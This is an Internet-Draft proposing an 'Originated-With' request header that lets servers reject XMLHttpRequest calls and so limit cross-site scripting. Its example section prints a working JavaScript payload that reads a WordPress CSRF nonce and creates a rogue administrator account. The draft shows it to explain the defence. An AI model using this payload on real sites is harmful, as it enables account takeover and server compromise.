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Versions: 00

httpbis                                                        N. Riffat
Internet-Draft                                         December 20, 2018
Intended status: Standards Track
Expires: June 23, 2019


                     Request Header Originated With
                draft-request-header-originated-with-00

Abstract

   This document proposes a new Request Header that must be initiated
   every time a user-agent sends XMLHttpRequest.  The aim of this header
   is to limit the possibilities of XSS to RCE and preventing Javascript
   from stealing CSRF tokens on other URLs of same domain.  This will
   allow developers to block request if it wasn't supposed to be sent
   via XMLHttpRequest.

Status of This Memo

   This Internet-Draft is submitted in full conformance with the
   provisions of BCP 78 and BCP 79.

   Internet-Drafts are working documents of the Internet Engineering
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   Drafts is at https://datatracker.ietf.org/drafts/current/.

   Internet-Drafts are draft documents valid for a maximum of six months
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   time.  It is inappropriate to use Internet-Drafts as reference
   material or to cite them other than as "work in progress."

   This Internet-Draft will expire on June 23, 2019.

Copyright Notice

   Copyright (c) 2018 IETF Trust and the persons identified as the
   document authors.  All rights reserved.

   This document is subject to BCP 78 and the IETF Trust's Legal
   Provisions Relating to IETF Documents
   (https://trustee.ietf.org/license-info) in effect on the date of
   publication of this document.  Please review these documents
   carefully, as they describe your rights and restrictions with respect
   to this document.  Code Components extracted from this document must
   include Simplified BSD License text as described in Section 4.e of




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   the Trust Legal Provisions and are provided without warranty as
   described in the Simplified BSD License.

Table of Contents

   1.  Introduction  . . . . . . . . . . . . . . . . . . . . . . . .   2
     1.1.  Limitations . . . . . . . . . . . . . . . . . . . . . . .   2
     1.2.  Goals . . . . . . . . . . . . . . . . . . . . . . . . . .   2
     1.3.  Examples  . . . . . . . . . . . . . . . . . . . . . . . .   3
   2.  Acknowledgements  . . . . . . . . . . . . . . . . . . . . . .   5
   3.  IANA Considerations . . . . . . . . . . . . . . . . . . . . .   5
   4.  Security Considerations . . . . . . . . . . . . . . . . . . .   5
   5.  References  . . . . . . . . . . . . . . . . . . . . . . . . .   5
     5.1.  Normative References  . . . . . . . . . . . . . . . . . .   5
     5.2.  Informative References  . . . . . . . . . . . . . . . . .   5
   Author's Address  . . . . . . . . . . . . . . . . . . . . . . . .   5

1.  Introduction

   Request header is the base on which the server determines what data
   should be delivered to the user agent.  Any request header can be
   initiated or manipulated by Javascript except the forbidden ones i.e.
   Origin, Cookie, Access-Control-Request-Headers etc.

   The proposed header is similar to "X-Requested-With" header which is
   initiated every time during an Ajax call by jQuery but it can be
   controlled and tampered using Javascript.  While the proposed header
   should be a forbidden header just like Origin, Cookie etc so it
   doesn't get manipulated using Javascript.

1.1.  Limitations

   This idea to limit the impact of XSS will not be effective if the
   request is naturally supposed to be sent via XMLHttpRequest i.e. JSON
   APIs

1.2.  Goals

   The proposed request header can provide an extra defensive measure to
   limit the impact of XSS including followings.

   1.  Will limit the impact of XSS on the vulnerable URL only.

   2.  Kill or reduce the possibility of XSS that can lead to RCE in
       some cases i.e. Wordpress.






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   3.  It will not impact any of current user-agent or server side
       functionality and will be totally be dependent upon developers if
       they want to implement this new technique.

   4.  Allow developers to check either the request was originated via
       XMHttpRequest or standard HTTP.

1.3.  Examples

   Since Wordpress is the most popular CMS around so it has been
   impacted a lot in terms of XSS to RCE.  So following example is based
   on recent Wordpress XSS to RCE attacks and how the proposed header
   could prevent this.  Wordpress is a secured CMS by itself but it is
   incomplete without custom scripts i.e. plugins and themes and it is
   very common for those custom scripts to be prone to XSS attacks.
   Supposedly a Wordpress site is vulnerable to any XSS i.e. Reflected,
   Stored or DOM.  The following Javascript code given perfect
   conditions i.e. having administrator session will inject a new
   Administrator account on the CMS which can then be used to execute
   arbitrary server side code.

   var ajaxRequest = new XMLHttpRequest();

   var requestURL = "/wp-admin/user-new.php";

   var wp_nonceRegex = /ser" value="([^"]*?)"/g;

   ajaxRequest.open("GET", requestURL, false);

   ajaxRequest.send();

   var nonceMatch = wp_nonceRegex.exec(ajaxRequest.responseText);

   var nonce = nonceMatch[1];

   var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_l
   ogin=config&email=w3bdrill3r@gmail.com&pass1=attackpass&pass2=attackp
   ass&role=administrator";

   ajaxRequest = new XMLHttpRequest();

   ajaxRequest.open("POST", requestURL, true);

   ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-
   urlencoded");

   ajaxRequest.send(params);




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   Here the Javascript is making 2 calls. 1st call is to get the CSRF
   Token which is known as "nonce" in Wordpress and the 2nd call is
   using that token to inject the Administrator account.

   Following is how the proposed header could have prevented this.

   Proposed request headers

   GET /wp-admin/user-new.php HTTP/1.1

   Host: local.tld

   User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
   Gecko/20100101 Firefox/64.0

   Accept: */*

   Accept-Language: en-US,en;q=0.5

   Accept-Encoding: gzip, deflate

   Referer: http://local.tld/sample-page/

   Connection: close

   Cookie: xxx;

   Pragma: no-cache

   Cache-Control: no-cache

   Originated-With: XMLHttpRequest

   The following server side PHP code would have terminated the request.
   As a result the 1st XMLHttpRequest call would have failed to grab the
   CSRF token and thus also have prevented the malicious attempt of
   injecting new user.

   if(isset($_SERVER['HTTP_ORIGINATED_WITH'])){wp_die();}

   The above code is initially added in functions.php of current theme
   file of Wordpress for demonstration purposes.  Documents opened using
   window.open() in Javascript can also be controlled by parent window
   so this header should also be sent in window.open() and similar
   requests.






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2.  Acknowledgements

3.  IANA Considerations

4.  Security Considerations

5.  References

5.1.  Normative References

   [RFC2119]  Bradner, S., "Key words for use in RFCs to Indicate
              Requirement Levels", BCP 14, RFC 2119,
              DOI 10.17487/RFC2119, March 1997,
              <https://www.rfc-editor.org/info/rfc2119>.

5.2.  Informative References

   [wordpress-xss-to-rce]
              Sucuri, "https://blog.sucuri.net/2017/12/javascript-
              injection-creates-rogue-wordpress-admin-user.html", 2017.

Author's Address

   Noman Riffat

   Email: w3bdrill3r@gmail.com

























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